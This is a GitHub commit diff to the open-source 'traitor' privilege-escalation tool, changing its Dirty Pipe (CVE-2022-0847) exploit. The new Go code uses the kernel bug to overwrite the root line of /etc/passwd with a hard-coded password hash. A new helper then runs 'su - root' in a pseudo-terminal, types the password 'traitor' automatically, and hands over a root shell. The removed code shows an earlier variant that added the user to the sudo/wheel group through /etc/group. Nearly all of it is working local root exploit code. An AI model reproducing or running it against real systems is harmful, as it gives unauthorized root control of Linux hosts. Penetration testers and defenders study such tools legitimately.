Skip to content

Commit 7802ea7

Browse files
authored
fix: improve reliability of dirty pipe LPE (#80)
* fix: improve reliability of dirty pipe LPE * tweak max length
1 parent 368dee5 commit 7802ea7

File tree

2 files changed

+85
-67
lines changed

2 files changed

+85
-67
lines changed

pkg/exploits/cve20220847/exploit.go

+15-67
Original file line numberDiff line numberDiff line change
@@ -5,15 +5,14 @@ import (
55
"errors"
66
"fmt"
77
"os"
8-
"os/exec"
9-
"os/user"
108
"regexp"
119
"strconv"
1210
"strings"
1311
"syscall"
1412

1513
"github.com/liamg/traitor/pkg/logger"
1614
"github.com/liamg/traitor/pkg/payloads"
15+
"github.com/liamg/traitor/pkg/shell"
1716
"github.com/liamg/traitor/pkg/state"
1817
"golang.org/x/sys/unix"
1918
)
@@ -85,82 +84,31 @@ func (v *cve20220847Exploit) Exploit(ctx context.Context, s *state.State, log lo
8584

8685
v.log = log
8786

88-
log.Printf("Attempting to add user to sudoers via common groups...")
89-
u, err := user.Current()
87+
log.Printf("Attempting to set root password...")
88+
passwdData, err := os.ReadFile("/etc/passwd")
9089
if err != nil {
9190
return err
9291
}
93-
94-
groupData, err := os.ReadFile("/etc/group")
95-
if err != nil {
96-
return err
92+
backup := string(passwdData)
93+
if len(backup) > 4095 {
94+
backup = backup[:4095]
9795
}
98-
backup := string(groupData)
99-
maxSize := 4096 - (len(u.Username) + 1)
100-
if len(groupData) > maxSize {
101-
groupData = groupData[:maxSize]
102-
}
103-
104-
var injected []string
105-
var found bool
106-
for _, line := range strings.Split(string(groupData), "\n") {
107-
if !found {
108-
parts := strings.Split(line, ":")
109-
switch parts[0] {
110-
case "sudo", "wheel":
111-
log.Printf("Found group: '%s'", parts[0])
112-
found = true
113-
if parts[3] != "" {
114-
users := strings.Split(parts[3], ",")
115-
canAdd := true
116-
for _, existing := range users {
117-
if existing == u.Username {
118-
log.Printf("NOTE: Your user is already in the %s group - you can likely sudo already...", parts[0])
119-
canAdd = false
120-
121-
}
122-
}
123-
if !canAdd {
124-
injected = append(injected, line)
125-
continue
126-
}
127-
line += ","
128-
}
129-
line += u.Username
130-
}
131-
}
132-
injected = append(injected, line)
133-
}
134-
if !found {
135-
_ = found
136-
//return fmt.Errorf("could not find sudo or wheel group")
96+
if string(passwdData[:4]) != "root" {
97+
return fmt.Errorf("unexpected data in /etc/passwd")
13798
}
138-
newData := []byte(strings.Join(injected, "\n") + "\n")
139-
140-
if err := v.writeToFile("/etc/group", 1, newData[1:]); err != nil {
99+
rootLine := "root:$1$traitor$ELjiH/IyoHuVv5Hxiqam21:0:0::/root:/bin/sh\n"
100+
if err := v.writeToFile("/etc/passwd", 4, []byte(rootLine[4:])); err != nil {
141101
return fmt.Errorf("failed to overwrite target file: %w", err)
142102
}
143103

144104
defer func() {
145-
log.Printf("Restoring contents of /etc/group...")
146-
_ = v.writeToFile("/etc/group", 1, []byte(backup)[1:])
105+
log.Printf("Restoring contents of /etc/passwd...")
106+
_ = v.writeToFile("/etc/passwd", 1, []byte(backup)[1:])
147107
}()
148108

149-
log.Printf("Starting shell (you may need to enter your password)...")
150-
log.Printf("Please exit the shell once you are finished to ensure the contents of /etc/group is restored.")
151-
cmd := exec.Cmd{
152-
Path: "/bin/sh",
153-
Args: []string{"/bin/sh", "-c", "sudo", "/bin/sh"},
154-
Env: os.Environ(),
155-
Dir: "/",
156-
Stdin: os.Stdin,
157-
Stdout: os.Stdout,
158-
Stderr: os.Stderr,
159-
}
160-
if payload != "" {
161-
cmd.Args = append(cmd.Args, "-c", string(payload))
162-
}
163-
return cmd.Run()
109+
log.Printf("Starting shell...")
110+
log.Printf("Please exit the shell once you are finished to ensure the contents of /etc/passwd is restored.")
111+
return shell.WithPassword("root", "traitor", log)
164112
}
165113

166114
func (v *cve20220847Exploit) writeToFile(path string, offset int64, data []byte) error {

pkg/shell/password.go

+70
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
package shell
2+
3+
import (
4+
"fmt"
5+
"io"
6+
"os"
7+
"os/exec"
8+
"os/signal"
9+
"syscall"
10+
"time"
11+
12+
"github.com/creack/pty"
13+
"github.com/liamg/traitor/internal/pipe"
14+
"github.com/liamg/traitor/pkg/logger"
15+
"golang.org/x/crypto/ssh/terminal"
16+
)
17+
18+
func WithPassword(username, password string, log logger.Logger) error {
19+
log.Printf("Setting up tty...")
20+
21+
cmd := exec.Command("sh", "-c", fmt.Sprintf("su - %s", username))
22+
23+
// Start the command with a pty.
24+
ptmx, err := pty.Start(cmd)
25+
if err != nil {
26+
return err
27+
}
28+
// Make sure to close the pty at the end.
29+
defer func() { _ = ptmx.Close() }() // Best effort.
30+
31+
// Handle pty size.
32+
ch := make(chan os.Signal, 1)
33+
signal.Notify(ch, syscall.SIGWINCH)
34+
go func() {
35+
for range ch {
36+
_ = pty.InheritSize(os.Stdin, ptmx)
37+
}
38+
}()
39+
ch <- syscall.SIGWINCH // Initial resize.
40+
41+
// Set stdin in raw mode.
42+
oldState, err := terminal.MakeRaw(int(os.Stdin.Fd()))
43+
if err != nil {
44+
return err
45+
}
46+
defer func() { _ = terminal.Restore(int(os.Stdin.Fd()), oldState) }() // Best effort.
47+
48+
lockable := pipe.NewLockable(ptmx)
49+
50+
log.Printf("Attempting authentication as %s...", username)
51+
if err := lockable.WaitForString("Password:", time.Second*2); err == nil {
52+
_ = lockable.Flush()
53+
if _, err := ptmx.Write([]byte(fmt.Sprintf("%s\n", password))); err != nil {
54+
return err
55+
}
56+
if err := lockable.WaitForString("#", time.Second*8); err != nil {
57+
_ = lockable.Flush()
58+
return fmt.Errorf("invalid password")
59+
}
60+
time.Sleep(time.Millisecond * 100)
61+
} else {
62+
return err
63+
}
64+
log.Printf("Authenticated as %s!", username)
65+
66+
// Copy stdin to the pty and the pty to stdout.
67+
go func() { _, _ = io.Copy(ptmx, os.Stdin) }()
68+
_, _ = io.Copy(os.Stdout, lockable)
69+
return nil
70+
}

0 commit comments

Comments
 (0)